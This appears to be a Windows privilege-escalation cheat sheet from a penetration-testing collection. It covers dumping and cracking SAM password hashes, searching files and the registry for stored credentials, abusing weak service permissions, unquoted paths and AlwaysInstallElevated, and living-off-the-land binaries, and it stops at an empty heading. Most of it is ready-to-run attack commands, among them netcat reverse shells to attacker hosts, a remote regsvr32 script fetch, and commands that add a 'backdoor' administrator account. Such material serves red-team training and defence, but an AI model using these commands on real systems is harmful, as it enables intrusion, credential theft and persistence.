EoP - Looting for passwords

SAM and SYSTEM files

The Security Account Manager (SAM), often Security Accounts Manager, is a database file. The user passwords are stored in a hashed format in a registry hive either as a LM hash or as a NTLM hash. This file can be found in %SystemRoot%/system32/config/SAM and is mounted on HKLM/SAM.

# Usually %SYSTEMROOT% = C:\Windows %SYSTEMROOT%\repair\SAM %SYSTEMROOT%\System32\config\RegBack\SAM %SYSTEMROOT%\System32\config\SAM %SYSTEMROOT%\repair\system %SYSTEMROOT%\System32\config\SYSTEM %SYSTEMROOT%\System32\config\RegBack\system

Generate a hash file for John using pwdump or samdump2.

pwdump SYSTEM SAM > /root/sam.txt samdump2 SYSTEM SAM -o sam.txt

Then crack it with john -format=NT /root/sam.txt.

Search for file contents

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config findstr /spin "password" *.*

Search for a file with a certain filename

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* where /R C:\ user.txt where /R C:\ *.ini

Search the registry for key names and passwords

REG QUERY HKLM /F "password" /t REG_SZ /S /K REG QUERY HKCU /F "password" /t REG_SZ /S /K

Passwords in unattend.xml

Location of the unattend.xml files.

C:\unattend.xml C:\Windows\Panther\Unattend.xml C:\Windows\Panther\Unattend\Unattend.xml C:\Windows\system32\sysprep.inf C:\Windows\system32\sysprep\sysprep.xml

Display the content of these files with dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul.

Example content

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64"> <AutoLogon> <Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password> <Enabled>true</Enabled> <Username>Administrateur</Username> </AutoLogon>

EoP - Processes Enumeration and Tasks

What processes are running?

tasklist /v net start sc query Get-Service Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

Which processes are running as "system"

tasklist /v /fi "username eq system"

Do you have powershell magic?

REG QUERY "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v PowerShellVersion

List installed programs

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

List services

net start wmic service list brief tasklist /SVC

Scheduled tasks

schtasks /query /fo LIST 2>nul | findstr TaskName Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

Startup tasks

wmic startup get caption,command reg query HKLM\Software\Microsoft\Windows\CurrentVersion\R reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"

EoP - Incorrect permissions in services

A service running as Administrator/SYSTEM with incorrect file permissions might allow EoP. You can replace the binary, restart the service and get system.

Often, services are pointing to writeable locations:

• Orphaned installs, not installed anymore but still exist in startup

• DLL Hijacking

• PATH directories with weak permissions

$ for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt $ for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a"

$ sc query state=all | findstr "SERVICE_NAME:" >> Servicenames.txt FOR /F %i in (Servicenames.txt) DO echo %i type Servicenames.txt FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt

Alternatively you can use the Metasploit exploit : exploit/windows/local/service_permissions

Note to check file permissions you can use cacls and icacls

icacls (Windows Vista +)

cacls (Windows XP)

You are looking for BUILTIN\Users:(F)(Full access), BUILTIN\Users:(M)(Modify access) or BUILTIN\Users:(W)(Write-only access) in the output.

Example with Windows XP SP1

# NOTE: spaces are mandatory for this exploit to work ! sc config upnphost binpath= "C:\Inetpub\wwwroot\nc.exe 10.11.0.73 4343 -e C:\WINDOWS\System32\cmd.exe" sc config upnphost obj= ".\LocalSystem" password= "" sc qc upnphost sc config upnphost depend= "" net start upnphost

If it fails because of a missing dependency, try the following commands.

sc config SSDPSRV start=auto net start SSDPSRV net stop upnphost net start upnphost

sc config upnphost depend=""

Using accesschk from Sysinternals.

$ accesschk.exe -uwcqv "Authenticated Users" * /accepteula RW SSDPSRV SERVICE_ALL_ACCESS RW upnphost SERVICE_ALL_ACCESS

$ accesschk.exe -ucqv upnphost upnphost RW NT AUTHORITY\SYSTEM SERVICE_ALL_ACCESS RW BUILTIN\Administrators SERVICE_ALL_ACCESS RW NT AUTHORITY\Authenticated Users SERVICE_ALL_ACCESS RW BUILTIN\Power Users SERVICE_ALL_ACCESS

$ sc config <vuln-service> binpath="net user backdoor backdoor123 /add" $ sc config <vuln-service> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" $ sc stop <vuln-service> $ sc start <vuln-service> $ sc config <vuln-service> binpath="net localgroup Administrators backdoor /add" $ sc stop <vuln-service> $ sc start <vuln-service>

EoP - Windows Subsystem for Linux (WSL)

Technique borrowed from Warlockobama's tweet

With root privileges Windows Subsystem for Linux (WSL) allows users to create a bind shell on any port (no elevation needed). Don't know the root password? No problem just set the default user to root W/ .exe --default-user root. Now start your bind shell or reverse.

wsl whoami ./ubuntun1604.exe config --default-user root wsl whoami wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

Binary bash.exe can also be found in C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe

Alternatively you can explore the WSL filesystem in the folder C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\

EoP - Unquoted Service Paths

The Microsoft Windows Unquoted Service Path Enumeration Vulnerability. All Windows services have a Path to its executable. If that path is unquoted and contains whitespace or other separators, then the service will attempt to access a resource in the parent path first.

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

Metasploit provides the exploit : exploit/windows/local/trusted_service_path

Example

For C:\Program Files\something\legit.exe, Windows will try the following paths first:

• C:\Program.exe

• C:\Program Files.exe

To cross compile a program from Kali, use the following command.

Kali> i586-mingw32msvc-gcc -o adduser.exe useradd.c

EoP - AlwaysInstallElevated

Check if these registry values are set to "1".

$ reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

$ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Then create an MSI package and install it.

$ msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi -o evil.msi $ msiexec /quiet /qn /i C:\evil.msi

Technique also available in Metasploit : exploit/windows/local/always_install_elevated

EoP - Insecure GUI apps

Application running as SYSTEM allowing an user to spawn a CMD, or browse directories.

Example: "Windows Help and Support" (Windows + F1), search for "command prompt", click on "Click to open Command Prompt"

EoP - Runas

Use the cmdkey to list the stored credentials on the machine.

cmdkey /list Currently stored credentials: Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\Administrator

Then you can use runas with the /savecred options in order to use the saved credentials. The following example is calling a remote binary via an SMB share.

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

Using runas with a provided set of credential.

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

$ secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force $ mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd) $ computer = "<hostname>" [System.Diagnostics.Process]::Start("C:\users\public\nc.exe","<attacker_ip> 4444 -e cmd.exe", $mycreds.Username, $mycreds.Password, $computer)

EoP - From local administrator to NT SYSTEM

PsExec.exe -i -s cmd.exe

EoP - Living Off The Land Binaries and Scripts

Living Off The Land Binaries and Scripts (and also Libraries) : https://lolbas-project.github.io/

The goal of the LOLBAS project is to document every binary, script, and library that can be used for Living Off The Land techniques.

A LOLBin/Lib/Script must:

• Be a Microsoft-signed file, either native to the OS or downloaded from Microsoft. Have extra "unexpected" functionality. It is not interesting to document intended use cases. Exceptions are application whitelisting bypasses

• Have functionality that would be useful to an APT or red team

wmic.exe process call create calc regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll Microsoft.Workflow.Compiler.exe tests.xml results.xml

EoP - Impersonation Privileges
